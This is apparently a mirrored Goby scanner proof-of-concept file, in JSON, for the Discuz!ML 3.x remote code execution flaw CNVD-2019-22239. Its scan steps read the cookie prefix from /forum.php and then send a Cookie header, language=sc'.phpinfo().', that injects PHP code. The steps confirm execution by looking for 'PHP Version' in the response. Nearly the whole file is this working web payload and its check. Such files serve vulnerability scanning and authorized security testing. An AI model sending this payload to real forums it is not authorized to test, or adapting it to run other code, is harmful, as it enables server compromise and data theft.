mirror of https://github.com/qwqdanchun/Goby.git
135 lines
5.2 KiB
JSON
135 lines
5.2 KiB
JSON
{
|
|
"Name": "Discuz!ML 3.x RCE CNVD-2019-22239",
|
|
"Level": "3",
|
|
"Tags": [
|
|
"rce"
|
|
],
|
|
"GobyQuery": "app=discuz || body=\"Powered by Discuz! X3.4\"",
|
|
"Description": "Discuz!ML is a multilingual open-source engine for build your own community like forum and social network. Based on the well-known Discuz!X engine by Tencent Cloud (used to be Comsenz Inc.).",
|
|
"Product": "Discuz!ML",
|
|
"Homepage": "http://discuz.ml/",
|
|
"Author": "",
|
|
"Impact": "July 11, 2019, Discuz! ML was found to have a remote code execution vulnerability that allows an attacker to exploit remote code execution by inserting a constructed payload into the language parameter in the cookie field of the request traffic.",
|
|
"Recommendation": "",
|
|
"References": [
|
|
"https://www.cnblogs.com/-mo-/p/11180396.html"
|
|
],
|
|
"HasExp": true,
|
|
"ExpParams": null,
|
|
"ExpTips": {
|
|
"Type": "",
|
|
"Content": ""
|
|
},
|
|
"ScanSteps": [
|
|
"AND",
|
|
{
|
|
"Request": {
|
|
"method": "GET",
|
|
"uri": "/forum.php",
|
|
"follow_redirect": false,
|
|
"header": null,
|
|
"data_type": "text",
|
|
"data": "",
|
|
"set_variable": []
|
|
},
|
|
"ResponseTest": {
|
|
"type": "group",
|
|
"operation": "AND",
|
|
"checks": [
|
|
{
|
|
"type": "item",
|
|
"variable": "$code",
|
|
"operation": "==",
|
|
"value": "200",
|
|
"bz": ""
|
|
}
|
|
]
|
|
},
|
|
"SetVariable": [
|
|
"cookiepre|lastbody|regex|cookiepre = '([\\w_]+)'"
|
|
]
|
|
},
|
|
{
|
|
"Request": {
|
|
"method": "GET",
|
|
"uri": "/forum.php",
|
|
"follow_redirect": false,
|
|
"header": {
|
|
"Cookie": "{{{cookiepre}}}language=sc'.phpinfo().'"
|
|
},
|
|
"data_type": "text",
|
|
"data": "",
|
|
"set_variable": []
|
|
},
|
|
"ResponseTest": {
|
|
"type": "group",
|
|
"operation": "AND",
|
|
"checks": [
|
|
{
|
|
"type": "item",
|
|
"variable": "$code",
|
|
"operation": "==",
|
|
"value": "200",
|
|
"bz": ""
|
|
},
|
|
{
|
|
"type": "item",
|
|
"variable": "$body",
|
|
"operation": "contains",
|
|
"value": "PHP Version",
|
|
"bz": ""
|
|
},
|
|
{
|
|
"type": "item",
|
|
"variable": "$body",
|
|
"operation": "contains",
|
|
"value": "System",
|
|
"bz": ""
|
|
}
|
|
]
|
|
},
|
|
"SetVariable": [
|
|
"output|lastbody|regex|"
|
|
]
|
|
}
|
|
],
|
|
"ExploitSteps": [
|
|
"AND",
|
|
{
|
|
"Request": {
|
|
"method": "GET",
|
|
"uri": "/test.php",
|
|
"follow_redirect": true,
|
|
"header": null,
|
|
"data_type": "text",
|
|
"data": "",
|
|
"set_variable": []
|
|
},
|
|
"ResponseTest": {
|
|
"type": "group",
|
|
"operation": "AND",
|
|
"checks": [
|
|
{
|
|
"type": "item",
|
|
"variable": "$code",
|
|
"operation": "==",
|
|
"value": "200",
|
|
"bz": ""
|
|
},
|
|
{
|
|
"type": "item",
|
|
"variable": "$body",
|
|
"operation": "contains",
|
|
"value": "test",
|
|
"bz": ""
|
|
}
|
|
]
|
|
},
|
|
"SetVariable": [
|
|
"output|lastbody|regex|"
|
|
]
|
|
}
|
|
],
|
|
"PostTime": "0000-00-00 00:00:00",
|
|
"GobyVersion": "0.0.0"
|
|
} |